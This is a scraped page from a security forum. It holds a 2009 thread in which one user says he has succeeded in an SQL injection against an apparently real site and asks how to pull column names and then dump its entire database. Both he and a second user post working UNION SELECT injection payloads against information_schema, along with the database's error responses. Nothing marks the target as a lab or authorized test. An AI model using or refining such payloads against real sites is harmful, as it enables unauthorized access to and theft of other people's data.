Waraxe IT Security Portal
Login or Register
August 26, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 752
Members: 0
Total: 752
Full disclosure
[0day-rubbish] VMS 6.48.809 Authenticated command injection to root RCE (8.8)
[0day-rubbish] ONE Reporter 13.1 Authenticated RCE / privilege escalation via CommandExecutor (8.8)
[0day-rubbish] Gemini 7.3.0 Authenticated SQL injection to xp_cmdshell RCE (8.8)
[0day-rubbish] RoboTask 11.0.5.1229 Unauthenticated REST API remote task execution (9.8)
[0day-rubbish] ActiveFax Server 10.70 Unauthenticated LPD Ghostscript %pipe% SYSTEM RCE (9.8)
[0day-rubbish] Tornado 2.11.3 Unauthenticated arbitrary file write to root RCE (storeTo=file: to cron) (9.8)
[0day-rubbish] Datalore On-Premises 2026.2.3 Unauthenticated RCE via InteractiveReport access-mapping flaw (9.8)
APPLE-SA-08-18-2026-1 Safari 26.6.1
Cudy WR3000: Hard-coded JWT Secret to Root Command Injection
Security advisory: Pre-authentication RCE (SQL injection) in XPressEntry 3.7.7454 (Telaeris Inc)
Security advisory: Authenticated RCE (SQL injection) in Scrutinizer 19.7.0 (Plixer)
Security advisory: Pre-authentication SYSTEM RCE (Zip-Slip plugin planting) in Output Messenger Server 2.0.x (>= 2.0.63) (Srimax Software (Output Technology))
Security advisory: Pre-authentication RCE (arbitrary file write) in RapidDeploy 5.2.2 (MidVision)
Security advisory: Authenticated RCE (second-order SQL injection) in Lansweeper 12.2.1.0 (web reports 12.2.1.6) (Lansweeper)
Security advisory: Authenticated RCE (command injection) in Kerio Connect 10.0.9 Patch 2 (build 10320) (GFI Software)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Not retrieving columns
Post new topicReply to topic View previous topic :: View next topic
Not retrieving columns
PostPosted: Sun Sep 13, 2009 8:58 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




Well, I succeeded in this injection. But the problem is: I can't get the column names.

When I try:
Code:
id=6672+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14%20from%20information_schema.columns%20where%20table_name=%27admin%27%20limit%201,5/*


I get:
Code:
The used SELECT statements have a different number of columns.


So I tried

Code:
id=-1%20UNION%20SELECT%20NULL%20FROM%20admin%20LIMIT%200,1%20/*


But It keeps saying that the table doesn't exist.
Code:
Table 'mhp_DBcompany.admin' doesn't exist


It makes some time I dont deal with MySQL Injection, can't remember anything to do now. Any idea?:S Rolling Eyes
View user's profile Send private message
PostPosted: Tue Sep 15, 2009 5:30 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




BUMP, Someone? Confused Confused
View user's profile Send private message
Re: Not retrieving columns
PostPosted: Mon Oct 19, 2009 7:59 pm Reply with quote
Ghosttt
Beginner
Beginner
Joined: Sep 19, 2009
Posts: 1




delta wrote:


When I try:
Code:
id=6672+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14%20from%20information_schema.columns%20where%20table_name=%27admin%27%20limit%201,5/*


So I tried

Code:
id=-1%20UNION%20SELECT%20NULL%20FROM%20admin%20LIMIT%200,1%20/*



try this:
Code:

http://www.id=6672+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14 +from+information_schema.columns+where+table_name=admin--


or just

Code:
http://www.id=6672+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14 from information_schema.columns where table_name=admin limit 1,5/*
View user's profile Send private message
PostPosted: Wed Oct 21, 2009 7:16 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




Hello Ghosttt, I already find out the problem.

The page is running 2 querys, so I can't get the columns visual feedback because keep getting wrong number of columns.
Use blind is not viable, since I want to extract all the data from database.

Is there any way to bypass even with 2 querys running?!
Waraxe, give me a light pls Laughing Laughing Rolling Eyes Rolling Eyes
View user's profile Send private message
Not retrieving columns
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds